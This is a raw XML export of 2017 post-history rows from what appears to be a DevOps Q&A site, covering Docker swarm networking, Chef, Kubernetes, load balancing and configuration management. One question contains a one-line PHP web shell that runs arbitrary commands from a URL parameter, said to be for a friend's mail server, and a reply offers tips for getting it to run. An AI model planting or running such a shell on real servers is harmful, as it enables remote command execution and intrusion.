  <row Id="5600" PostHistoryTypeId="2" PostId="1777" RevisionGUID="3cf4b23c-a587-4c47-af2b-1a1181309f05" CreationDate="2017-08-18T14:25:50.640" UserId="3985" Text="I just figure it out. The problem is not with the service or the swarm, it's with the network.&#xD;&#xA;&#xD;&#xA;When I use `driver: overlay` the default `subnet` is `10.0.0.0/24` which result in 254 address. So I change the mask in the `subnet`, to 22, which result in 1022 address, I added:&#xD;&#xA;&#xD;&#xA;    ipam:&#xD;&#xA;      config:&#xD;&#xA;        -subnet: 10.0.0.0/22&#xD;&#xA;&#xD;&#xA;And now the network section in the `docker-compose` file looks like this:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      web:&#xD;&#xA;        driver: overlay&#xD;&#xA;        ipam:&#xD;&#xA;          config:&#xD;&#xA;            - subnet: 10.0.0.0/22&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5601" PostHistoryTypeId="2" PostId="1778" RevisionGUID="f56ee0f7-05c9-4a61-b2e1-d7842b3a9b36" CreationDate="2017-08-18T15:36:36.180" UserId="741" Text="One solution would be to create a base image with OpenVPN and global configurations and child images for the certs.&#xD;&#xA;&#xD;&#xA;The base `Dockerfile` might look like this.&#xD;&#xA;&#xD;&#xA;    FROM debian:latest&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get -y install \&#xD;&#xA;      openvpn \&#xD;&#xA;      easy-rsa \&#xD;&#xA;      etc&#xD;&#xA;&#xD;&#xA;    RUN &lt;any needed configurations&gt;&#xD;&#xA;&#xD;&#xA;`docker build -t openvpn:baseimage .`&#xD;&#xA;&#xD;&#xA;The cert `Dockerfile`.&#xD;&#xA;&#xD;&#xA;    FROM openvpn:baseimage&#xD;&#xA;    COPY certs /etc/easy-rsa/&#xD;&#xA;&#xD;&#xA;    CMD openvpn&#xD;&#xA;&#xD;&#xA;`docker build -t useast:1 .`&#xD;&#xA;&#xD;&#xA;You could push the certs to the respective nodes with some kind of management tool and `build` the child images there. The base image would live in an available registry. Once the base image is cached on each node in Docker, the builds should be quick. &#xD;&#xA;&#xD;&#xA;There are multiple solutions to this problem depending on what's best for the given environment.           &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="5602" PostHistoryTypeId="5" PostId="1775" RevisionGUID="b2b59951-9167-4e5c-b43f-3ae354403702" CreationDate="2017-08-18T17:18:50.810" UserId="14" Comment="added 1 character in body" Text="**TLDR: Docker won't spin up more then 250 containers.**&#xD;&#xA;&#xD;&#xA;I'm deploying a cluster of 3 docker services to a swarm with 2 nodes. 2 of the services need to contain 1 container (have a `replicas: 1` in the `docker-compose` file), and the third service need to have 300 containers (have a `replicas: 300` setting).&#xD;&#xA;&#xD;&#xA;The problem is it's spin up those 3 services, the first two with 1 container each (work like they should), and the third service spin up 248 containers out of 300 (I see this when I do `docker service ls`). I try to search if there is a limit of the service or swarm but couldn't find any.&#xD;&#xA;&#xD;&#xA;I will much appreciate any help I can get.&#xD;&#xA;&#xD;&#xA;* If it's matter, each node with a 30GB RAM and 8 cores, and I use only 1/3 of the RAM." ContentLicense="CC BY-SA 3.0" />
  <row Id="5603" PostHistoryTypeId="2" PostId="1779" RevisionGUID="4cf442fe-c593-427e-bb6b-1eacbb5f31e8" CreationDate="2017-08-18T17:54:15.937" UserId="3992" Text="It's a cash strapped start-up. What are the worst consequences of running only three nodes, three schedulable masters? &#xD;&#xA;&#xD;&#xA;Are there some ways can one mitigate against the risks? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5604" PostHistoryTypeId="1" PostId="1779" RevisionGUID="4cf442fe-c593-427e-bb6b-1eacbb5f31e8" CreationDate="2017-08-18T17:54:15.937" UserId="3992" Text="Is making kubernetes masters schedulable a really idea?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5605" PostHistoryTypeId="3" PostId="1779" RevisionGUID="4cf442fe-c593-427e-bb6b-1eacbb5f31e8" CreationDate="2017-08-18T17:54:15.937" UserId="3992" Text="&lt;kubernetes&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5606" PostHistoryTypeId="4" PostId="1779" RevisionGUID="d817c849-bc59-4c3c-939f-87ba09257f4b" CreationDate="2017-08-18T18:00:42.890" UserId="3992" Comment="edited title" Text="Is making kubernetes masters schedulable a really bad idea?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5607" PostHistoryTypeId="6" PostId="1779" RevisionGUID="d817c849-bc59-4c3c-939f-87ba09257f4b" CreationDate="2017-08-18T18:00:42.890" UserId="3992" Comment="edited title" Text="&lt;containers&gt;&lt;kubernetes&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5608" PostHistoryTypeId="2" PostId="1780" RevisionGUID="8f7e82d2-0730-4768-96e3-36cfafb04e1f" CreationDate="2017-08-18T18:17:31.300" UserId="1208" Text="I got stuck with a scenario where i need to provide runtime value while restarting/starting httpd service using chef. I installed ssl certs where it asks password for every reload or start. I tried giving `service 'httpd' do&#xD;&#xA;  supports restart: true, reload: false, status: true&#xD;&#xA;  options &quot;password&quot;&#xD;&#xA;end` But i dont have any luck. can some one please help me how to pass this value while httpd restarts using chef. thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="5609" PostHistoryTypeId="1" PostId="1780" RevisionGUID="8f7e82d2-0730-4768-96e3-36cfafb04e1f" CreationDate="2017-08-18T18:17:31.300" UserId="1208" Text="How to give value in runtime for chef" ContentLicense="CC BY-SA 3.0" />
  <row Id="5610" PostHistoryTypeId="3" PostId="1780" RevisionGUID="8f7e82d2-0730-4768-96e3-36cfafb04e1f" CreationDate="2017-08-18T18:17:31.300" UserId="1208" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5611" PostHistoryTypeId="5" PostId="1780" RevisionGUID="f4de0ab2-44ed-490c-b28a-3ac391f4f419" CreationDate="2017-08-18T19:10:58.290" UserId="60" Comment="Improved formatting, added relevant tag" Text="I got stuck with a scenario where I need to provide runtime value while restarting/starting `httpd` service using chef. I installed SSL certs where it asks password for every reload or start. I tried giving:&#xD;&#xA;&#xD;&#xA;    service 'httpd' do&#xD;&#xA;      supports restart: true, reload: false, status: true&#xD;&#xA;      options &quot;password&quot;&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;But I don't have any luck. Can some one please help me how to pass this value while `httpd` restarts using chef?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5612" PostHistoryTypeId="6" PostId="1780" RevisionGUID="f4de0ab2-44ed-490c-b28a-3ac391f4f419" CreationDate="2017-08-18T19:10:58.290" UserId="60" Comment="Improved formatting, added relevant tag" Text="&lt;chef&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5613" PostHistoryTypeId="24" PostId="1780" RevisionGUID="f4de0ab2-44ed-490c-b28a-3ac391f4f419" CreationDate="2017-08-18T19:10:58.290" Comment="Proposed by 60 approved by -1 edit id of 406" ContentLicense="CC BY-SA 3.0" />
  <row Id="5614" PostHistoryTypeId="5" PostId="1780" RevisionGUID="aab47144-6adc-4411-81bb-d8cef9358bf8" CreationDate="2017-08-18T19:10:58.290" UserId="40" Comment="deleted 6 characters in body" Text="I got stuck with a scenario where I need to provide runtime value while restarting/starting `httpd` service using Chef.&#xD;&#xA;&#xD;&#xA;I installed SSL certs where it asks password for every reload or start. I tried giving:&#xD;&#xA;&#xD;&#xA;    service 'httpd' do&#xD;&#xA;      supports restart: true, reload: false, status: true&#xD;&#xA;      options &quot;password&quot;&#xD;&#xA;    end &#xD;&#xA;&#xD;&#xA;But I don't have any luck. &#xD;&#xA;&#xD;&#xA;Any help about how to pass this value while `httpd` restarts using Chef?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5615" PostHistoryTypeId="2" PostId="1781" RevisionGUID="74fc6cab-c724-434e-953b-372c565f8b09" CreationDate="2017-08-18T19:37:15.977" UserId="3992" Text="There are a lot of cheap KVM providers these days that offer simple nodes with just a single external IP per node, without any load balancing. &#xD;&#xA;&#xD;&#xA;What is a typical budget load balancing solution for this scenario? &#xD;&#xA;&#xD;&#xA;I am planning to use either docker swarm or kubernetes as a container orchestration solution.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5616" PostHistoryTypeId="1" PostId="1781" RevisionGUID="74fc6cab-c724-434e-953b-372c565f8b09" CreationDate="2017-08-18T19:37:15.977" UserId="3992" Text="Load balancing kubernetes cluster on budget KVM provider?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5617" PostHistoryTypeId="3" PostId="1781" RevisionGUID="74fc6cab-c724-434e-953b-372c565f8b09" CreationDate="2017-08-18T19:37:15.977" UserId="3992" Text="&lt;containers&gt;&lt;kubernetes&gt;&lt;docker-swarm&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5618" PostHistoryTypeId="2" PostId="1782" RevisionGUID="a00746df-2515-4103-8ee3-cdd86981d4a8" CreationDate="2017-08-18T20:57:39.853" UserId="3995" Text="I'm trying to understand the difference between managing configuration files for the purposes of simplifying automated deployment.&#xD;&#xA;&#xD;&#xA;We have 5 environments to build. So far 2 have been built with no versioning at all. Right now we're using Artifactory to &quot;manage&quot; the rpm files. I've been tasked to &quot;version control the other stuff&quot;. Right now, other stuff means a couple of properties files.&#xD;&#xA;&#xD;&#xA;My question is, if I were to simply &quot;version control the other stuff&quot;, I would store the properties files in Github, I'd then have Jenkins &quot;build&quot; then &quot;deploy&quot; it to Artifactory? Isn't it extremely difficult to manage infrastructure versioning without infrastructure as code?&#xD;&#xA;&#xD;&#xA;My second question is, since our goals are to simplify automated deployment, shouldn't we be using Ansible (or puppet or chef but I like ansible). We could then store Ansible playbooks (and cloudformation templates, etc.) in Github. In this case, what binaries would there be to version?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5619" PostHistoryTypeId="1" PostId="1782" RevisionGUID="a00746df-2515-4103-8ee3-cdd86981d4a8" CreationDate="2017-08-18T20:57:39.853" UserId="3995" Text="Artifactory vs Git for Infrastructure Version Control / Configuration Management" ContentLicense="CC BY-SA 3.0" />
  <row Id="5620" PostHistoryTypeId="3" PostId="1782" RevisionGUID="a00746df-2515-4103-8ee3-cdd86981d4a8" CreationDate="2017-08-18T20:57:39.853" UserId="3995" Text="&lt;ansible&gt;&lt;configuration-management&gt;&lt;artifacts&gt;&lt;github&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5621" PostHistoryTypeId="2" PostId="1783" RevisionGUID="52691bf4-30ce-4607-920c-c2e609798932" CreationDate="2017-08-18T21:30:13.110" UserId="210" Text="K8s has been created using rancher, but when one would like to access the UI it shows:&#xD;&#xA;&#xD;&#xA;    Service unavailable&#xD;&#xA;&#xD;&#xA;**Methods**&#xD;&#xA;&#xD;&#xA;Method 1&#xD;&#xA;&#xD;&#xA;rancher was deployed locally using vagrant&#xD;&#xA;k8s was deployed&#xD;&#xA;click the ui button&#xD;&#xA;&#xD;&#xA;method 2&#xD;&#xA;&#xD;&#xA;perhaps the local firewall was causing the issue?&#xD;&#xA;&#xD;&#xA;rancher was deployed on digital ocean&#xD;&#xA;k8s was deployed&#xD;&#xA;service unavailable again&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5622" PostHistoryTypeId="1" PostId="1783" RevisionGUID="52691bf4-30ce-4607-920c-c2e609798932" CreationDate="2017-08-18T21:30:13.110" UserId="210" Text="Why is the K8s UI not available when rancher is used?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5623" PostHistoryTypeId="3" PostId="1783" RevisionGUID="52691bf4-30ce-4607-920c-c2e609798932" CreationDate="2017-08-18T21:30:13.110" UserId="210" Text="&lt;kubernetes&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5624" PostHistoryTypeId="5" PostId="1783" RevisionGUID="b2240457-97b1-4e14-b8bc-3c11ffeaf8eb" CreationDate="2017-08-18T22:52:56.760" UserId="210" Comment="added 18 characters in body" Text="K8s has been created using rancher, but when one would like to access the UI it shows:&#xD;&#xA;&#xD;&#xA;    Service unavailable&#xD;&#xA;&#xD;&#xA;**Methods**&#xD;&#xA;&#xD;&#xA;Method 1&#xD;&#xA;&#xD;&#xA; - rancher was deployed locally using vagrant&#xD;&#xA; - k8s was deployed&#xD;&#xA; - click the ui button&#xD;&#xA;&#xD;&#xA;method 2&#xD;&#xA;&#xD;&#xA;perhaps the local firewall was causing the issue?&#xD;&#xA;&#xD;&#xA; - rancher was deployed on digital ocean&#xD;&#xA; - k8s was deployed&#xD;&#xA; - service unavailable again&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5627" PostHistoryTypeId="2" PostId="1784" RevisionGUID="18d53ebe-dc64-41d7-b8b3-639a76a87e3e" CreationDate="2017-08-19T08:36:39.417" UserId="446" Text="Version Control (using say git) and Artifact Management (using Artifactory) are complementary. Version control is useful for easily browsing the historical changes and who made them. Artifact management tools can do this but its clunky. Also they dont offer a fine grained view of changes, as one version change might involve a large amount of changes.&#xA;&#xA;When integrated with a workflow like feature branches, version control offers some real benefits around collaboration particularly for distributed teams.&#xA;&#xA;Some places use just version control with no artifact management, i.e. Reddit. They deploy to 800 servers 200 times a week using just git. This may or may not be the best solution for you.&#xA;&#xA;An artifact can be many things, not just a binary. It can be a tar ball of files, an rpm, a virtual machine or a docker container. But I've not really seen artifact tools used to deploy configuration managememt, you could just deploy straight from git or bundle it into a tarball or rpm." ContentLicense="CC BY-SA 3.0" />
  <row Id="5628" PostHistoryTypeId="2" PostId="1785" RevisionGUID="6083bff7-ee9f-4813-ab2d-d87fc2e33202" CreationDate="2017-08-19T10:30:33.617" UserId="3939" Text="It depends on how much time you can invest into configuration and your configuration.&#xD;&#xA;&#xD;&#xA;I have built my own cluster on AWS using [Nomad](https://www.nomadproject.io) and [Consul](https://www.consul.io) where [Fabio](https://github.com/fabiolb/fabio) was used as Application Load Balancing layer (AWS ALB was lacking for my purposes).&#xD;&#xA;&#xD;&#xA;Alternatively if you use k8s and do not need additional ALB you can use DNS RR (multiple A or AAAA records for your domain) or create HAProxy cluster in front of your application." ContentLicense="CC BY-SA 3.0" />
  <row Id="5629" PostHistoryTypeId="2" PostId="1786" RevisionGUID="f88284ef-8dee-441d-880e-289c17c250c5" CreationDate="2017-08-19T16:27:50.883" UserId="3939" Text="It is not about Docker or any other containerisation technologies out there.&#xD;&#xA;&#xD;&#xA;Containers like Docker, rkt, etc. are just way of delivering your application in similar fashion to static binary. You are building your deployment that it contains everything it need inside and end user doesn't need anything more than runtime.&#xD;&#xA;&#xD;&#xA;These solutions are similar to fat JARs in Java, where everything you (in theory) need is just runtime (JRE) preinstalled and everything Just Works™.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The reason why developers need to understand (they do not need to learn how to operate such tool, only why this is needed) orchestration tools is that this allows you to have some advantages over &quot;traditional&quot; deployment.&#xD;&#xA;&#xD;&#xA;## Cattle, not pets&#xD;&#xA;&#xD;&#xA;[EngineYard have written good article about that.][cattle_vs_pets] Whole point of that is that when your server dies, then you shrug and wait as new will appear. You treat them as cattle, you have tens, hundreds, thousands of them running and when one goes down neither you or your clients should be ever aware of that.&#xD;&#xA;&#xD;&#xA;Orchestration tools achieve that by monitoring status of all applications (pods/jobs, whatever) in cluster, and when it sees that one of the servers stops responding (goes down) then it automatically moves all applications that were running on that server somewhere else.&#xD;&#xA;&#xD;&#xA;## Better resource utilisation&#xD;&#xA;&#xD;&#xA;Thanks to orchestration you can run multiple applications on one server and orchestrator will track resources for you. It will rearrange applications when required.&#xD;&#xA;&#xD;&#xA;## Immutable infrastructure&#xD;&#xA;&#xD;&#xA;Thanks to the automatic failover handling in orchestrators you can ran your custom images in the cloud as is. When you will be needing update, you just build new image, set your Launch Configuration to use that one now and just roll. Everything will be handled for you:&#xD;&#xA;&#xD;&#xA; 1. Create new server with new configuration.&#xD;&#xA; 2. Kill one running server.&#xD;&#xA; 3. Your orchestrator will move everything to other machines (including new one).&#xD;&#xA; 4. If there are any old servers left then go to 1.&#xD;&#xA;&#xD;&#xA;## Simpler operations&#xD;&#xA;&#xD;&#xA;- Not enough resources? Add new machine to cluster.  &#xD;&#xA;- Need more application instances? Increase number and go on.  &#xD;&#xA;- Monitoring? Done.  &#xD;&#xA;- Log management? Done.  &#xD;&#xA;- Secrets? Guess what.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**TL;DR** Whole point isn't about Docker but about orchestration. Docker is just a extended version of tarball/fat JARs that is required for proper orchestration.&#xD;&#xA;&#xD;&#xA;[cattle_vs_pets]: https://blog.engineyard.com/2014/pets-vs-cattle" ContentLicense="CC BY-SA 3.0" />
  <row Id="5630" PostHistoryTypeId="2" PostId="1787" RevisionGUID="6276937d-5166-40cb-a12a-488b17ea82f8" CreationDate="2017-08-19T16:29:36.417" UserId="3939" Text="You shouldn't. Instead you should use proper secrets management system that would provide you unlocked SSL certificate." ContentLicense="CC BY-SA 3.0" />
  <row Id="5631" PostHistoryTypeId="2" PostId="1788" RevisionGUID="3e888b8d-6b94-4a5a-98ca-8fd300d5b161" CreationDate="2017-08-19T17:09:12.120" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5632" PostHistoryTypeId="1" PostId="1788" RevisionGUID="3e888b8d-6b94-4a5a-98ca-8fd300d5b161" CreationDate="2017-08-19T17:09:12.120" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5633" PostHistoryTypeId="2" PostId="1789" RevisionGUID="a00833fb-f5fe-4551-94e4-5e9d701d11b4" CreationDate="2017-08-19T17:09:12.120" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="5634" PostHistoryTypeId="1" PostId="1789" RevisionGUID="a00833fb-f5fe-4551-94e4-5e9d701d11b4" CreationDate="2017-08-19T17:09:12.120" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5635" PostHistoryTypeId="5" PostId="1788" RevisionGUID="024316a6-abdd-46c8-a849-6cba0c941edf" CreationDate="2017-08-19T18:56:43.817" UserId="60" Comment="added 236 characters in body" Text="[OpenStack](http://openstack.org) is a collection of open-source projects that enables an open, scalable cloud infrastructure. The core of OpenStack is meant to provide consistent APIs and interfaces to a variety of potential back-ends." ContentLicense="CC BY-SA 3.0" />
  <row Id="5636" PostHistoryTypeId="24" PostId="1788" RevisionGUID="024316a6-abdd-46c8-a849-6cba0c941edf" CreationDate="2017-08-19T18:56:43.817" Comment="Proposed by 60 approved by 40, 47 edit id of 407" ContentLicense="CC BY-SA 3.0" />
  <row Id="5637" PostHistoryTypeId="5" PostId="1789" RevisionGUID="b472bc51-e589-401e-a83f-bbfc71b79687" CreationDate="2017-08-19T18:56:50.780" UserId="60" Comment="added 235 characters in body" Text="OpenStack (http://openstack.org) is a collection of open source projects that enables an open, scalable cloud infrastructure. The core of OpenStack is meant to provide consistent APIs and interfaces to a variety of potential back-ends." ContentLicense="CC BY-SA 3.0" />
  <row Id="5638" PostHistoryTypeId="24" PostId="1789" RevisionGUID="b472bc51-e589-401e-a83f-bbfc71b79687" CreationDate="2017-08-19T18:56:50.780" Comment="Proposed by 60 approved by 40, 47 edit id of 408" ContentLicense="CC BY-SA 3.0" />
  <row Id="5643" PostHistoryTypeId="50" PostId="1378" RevisionGUID="1d156ea7-824b-4449-81b5-4d2a6cd99ad3" CreationDate="2017-08-20T06:57:22.647" UserId="-1" />
  <row Id="5647" PostHistoryTypeId="2" PostId="1792" RevisionGUID="7d595faa-3a5a-4e94-b6e9-5566017da43e" CreationDate="2017-08-20T11:07:02.933" UserId="4005" Text="I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability.vulnerable code but unfortunately it doesn't seem to be running.&#xD;&#xA;&#xD;&#xA;This is the script i wrote&#xD;&#xA;&#xD;&#xA;echo shell_exec($_GET['cmd']);&#xD;&#xA;&#xD;&#xA;Please help" ContentLicense="CC BY-SA 3.0" />
  <row Id="5648" PostHistoryTypeId="1" PostId="1792" RevisionGUID="7d595faa-3a5a-4e94-b6e9-5566017da43e" CreationDate="2017-08-20T11:07:02.933" UserId="4005" Text="Shell Scripting" ContentLicense="CC BY-SA 3.0" />
  <row Id="5649" PostHistoryTypeId="3" PostId="1792" RevisionGUID="7d595faa-3a5a-4e94-b6e9-5566017da43e" CreationDate="2017-08-20T11:07:02.933" UserId="4005" Text="&lt;shell-script&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5650" PostHistoryTypeId="2" PostId="1793" RevisionGUID="8e7609ae-6cb9-4e93-895d-7b1a7ebada47" CreationDate="2017-08-20T11:50:59.780" UserId="911" Text="Please provide more information about the method and the result as Husyn asked, it may be more suited to programming SO if it is PHP related. Anyway:&#xD;&#xA;&#xD;&#xA;- `&lt;?php` should be present at the start of any PHP script.&#xD;&#xA;- If a PHP error occurs, you might not see it without [error reporting][1] enabled.&#xD;&#xA;- If the actual shell command fails or outputs warnings, you won't see it with `shell_exec` unless you add the stderr to stdout redirection `2&gt;&amp;` to the command, or use [`exec`][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/function.error-reporting.php&#xD;&#xA;  [2]: http://php.net/manual/en/function.exec.php" ContentLicense="CC BY-SA 3.0" />
  <row Id="5653" PostHistoryTypeId="4" PostId="1378" RevisionGUID="e6b8a0c8-9dae-4a87-8fda-60b6e206f7f7" CreationDate="2017-08-20T12:31:28.880" UserId="14" Comment="edited title" Text="If I set up a Travis CI agent, will it be independent of Travis's existing infrastructure?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5654" PostHistoryTypeId="5" PostId="1787" RevisionGUID="b124f481-31b3-4d9d-9541-07e73d4bed40" CreationDate="2017-08-20T14:25:26.333" UserId="3939" Comment="added 347 characters in body" Text="You shouldn't. Instead you should use proper secrets management system that would provide you unlocked SSL certificate.&#xA;&#xA;---&#xA;&#xA;By secret management I mean tooling like [k8s secret management][1] or [Vault][2].&#xA;&#xA;You can read [Medium post about secrets](https://medium.com/on-docker/secrets-and-lie-abilities-the-state-of-modern-secret-management-2017-c82ec9136a3d). &#xA;&#xA;&#xA;  [1]: https://kubernetes.io/docs/concepts/configuration/secret/&#xA;  [2]: https://www.vaultproject.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="5655" PostHistoryTypeId="6" PostId="1378" RevisionGUID="67a76d10-0ed1-4a6c-bfcc-428b2bc650ba" CreationDate="2017-08-20T14:44:09.957" UserId="47" Comment="added relevant tag" Text="&lt;continuous-integration&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5656" PostHistoryTypeId="2" PostId="1795" RevisionGUID="e0d2efc1-28e3-4a9a-bdb4-671f94c076b6" CreationDate="2017-08-20T15:31:23.653" UserId="4008" Text="I'm trying to run wordpress inside docker.&#xD;&#xA;&#xD;&#xA;I've been following this tutorial : https://www.sitepoint.com/how-to-use-the-official-docker-wordpress-image/&#xD;&#xA;&#xD;&#xA;But when I run this command :&#xD;&#xA;&#xD;&#xA;    docker run -e WORDPRESS_DB_PASSWORD=xxxxxx -d --name wordpress --link wordpressdb:mysql -p 127.0.0.1:8080:80 -v &quot;$PWD/&quot;:/var/www/html wordpress&#xD;&#xA;&#xD;&#xA;The container crashes, and in the logs I can see things like :&#xD;&#xA;&#xD;&#xA;    tar: ./wp-admin: Cannot mkdir: Permission denied&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5657" PostHistoryTypeId="1" PostId="1795" RevisionGUID="e0d2efc1-28e3-4a9a-bdb4-671f94c076b6" CreationDate="2017-08-20T15:31:23.653" UserId="4008" Text="docker &quot;Cannot mkdir: Permission denied&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5658" PostHistoryTypeId="3" PostId="1795" RevisionGUID="e0d2efc1-28e3-4a9a-bdb4-671f94c076b6" CreationDate="2017-08-20T15:31:23.653" UserId="4008" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5659" PostHistoryTypeId="2" PostId="1796" RevisionGUID="becdf06f-aec4-4383-8b89-33b0ce2313d6" CreationDate="2017-08-20T17:36:31.387" UserId="4010" Text="There are few ways to backup jenkins data and master configurations. The best way for backup is to use the Thinbackup plugin. You can schedule timely backups using cron expressions. You can configure full backup and incremental backup as well.&#xD;&#xA;&#xD;&#xA;Another way to backup data and config is to take the disk snapshot of your jenkins master server. The ideal way to do this by mounting a disk and link the jenkins config directory to the disk mount point&#xD;&#xA;&#xD;&#xA;Both the scenarios are well explained in this blog post. https://devopscube.com/jenkins-backup-data-configurations/ . You will get a better idea and steps for the configurations." ContentLicense="CC BY-SA 3.0" />
  <row Id="5660" PostHistoryTypeId="5" PostId="1796" RevisionGUID="e9afd8c6-d804-4733-833a-c0fac4c04062" CreationDate="2017-08-20T17:45:53.000" UserId="3" Comment="Improves link formatting." Text="There are few ways to backup jenkins data and master configurations. The best way for backup is to use the Thinbackup plugin. You can schedule timely backups using cron expressions. You can configure full backup and incremental backup as well.&#xD;&#xA;&#xD;&#xA;Another way to backup data and config is to take the disk snapshot of your jenkins master server. The ideal way to do this by mounting a disk and link the jenkins config directory to the disk mount point&#xD;&#xA;&#xD;&#xA;Both the scenarios are well explained in this [blog post](https://devopscube.com/jenkins-backup-data-configurations). You will get a better idea and steps for the configurations." ContentLicense="CC BY-SA 3.0" />
  <row Id="5661" PostHistoryTypeId="5" PostId="1792" RevisionGUID="ea109601-2e99-43d8-8320-53356696b541" CreationDate="2017-08-20T17:54:54.290" UserId="60" Comment="Improved formatting, added relevant tag" Text="I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.&#xD;&#xA;&#xD;&#xA;This is the script I wrote:&#xD;&#xA;&#xD;&#xA;    echo shell_exec($_GET['cmd']);&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5662" PostHistoryTypeId="6" PostId="1792" RevisionGUID="ea109601-2e99-43d8-8320-53356696b541" CreationDate="2017-08-20T17:54:54.290" UserId="60" Comment="Improved formatting, added relevant tag" Text="&lt;shell-script&gt;&lt;php&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5663" PostHistoryTypeId="24" PostId="1792" RevisionGUID="ea109601-2e99-43d8-8320-53356696b541" CreationDate="2017-08-20T17:54:54.290" Comment="Proposed by 60 approved by 40, 14 edit id of 409" ContentLicense="CC BY-SA 3.0" />
  <row Id="5664" PostHistoryTypeId="2" PostId="1797" RevisionGUID="e8d8681e-898f-49d7-81a8-693c55e2cbee" CreationDate="2017-08-20T19:14:13.423" UserId="4011" Text="Just browsing through the available options, it looks like the `nova meta` actions may be available as `openstack server set`:&#xD;&#xA;&#xD;&#xA;    $ openstack help server set&#xD;&#xA;    usage: openstack server set [-h] [--name &lt;new-name&gt;] [--root-password]&#xD;&#xA;                                [--property &lt;key=value&gt;] [--state &lt;state&gt;]&#xD;&#xA;                                &lt;server&gt;&#xD;&#xA;    &#xD;&#xA;    Set server properties&#xD;&#xA;    &#xD;&#xA;    positional arguments:&#xD;&#xA;      &lt;server&gt;              Server (name or ID)&#xD;&#xA;    &#xD;&#xA;    optional arguments:&#xD;&#xA;      -h, --help            show this help message and exit&#xD;&#xA;      --name &lt;new-name&gt;     New server name&#xD;&#xA;      --root-password       Set new root password (interactive only)&#xD;&#xA;      --property &lt;key=value&gt;&#xD;&#xA;                            Property to add/change for this server (repeat option&#xD;&#xA;                            to set multiple properties)&#xD;&#xA;      --state &lt;state&gt;       New server state (valid value: active, error)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;E.g., if I run:&#xD;&#xA;&#xD;&#xA;    openstack server set myserver --property foo=bar&#xD;&#xA;&#xD;&#xA;And then run:&#xD;&#xA;&#xD;&#xA;    openstack server show myserver&#xD;&#xA;&#xD;&#xA;I see:&#xD;&#xA;&#xD;&#xA;    [...]&#xD;&#xA;    | properties                           | foo='bar'                                                |&#xD;&#xA;    [...]" ContentLicense="CC BY-SA 3.0" />
  <row Id="5665" PostHistoryTypeId="2" PostId="1798" RevisionGUID="735565f6-2ea9-4dbf-86c6-d7867317056a" CreationDate="2017-08-20T20:26:36.150" UserId="4012" Text="Try to run such command as root or grant user and group rights to the folder with chown.&#xD;&#xA;&#xD;&#xA;That's only what comes to my mind for now." ContentLicense="CC BY-SA 3.0" />
  <row Id="5666" PostHistoryTypeId="2" PostId="1799" RevisionGUID="d28c8fd1-c16b-4f79-b51f-3b58f7400d9e" CreationDate="2017-08-20T20:30:35.527" UserId="4012" Text="Well, if you ever used VMs for testing you may want try to use containers and docker is actually a great stuff for testing and it's much more simpler to use instead of LXC :)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
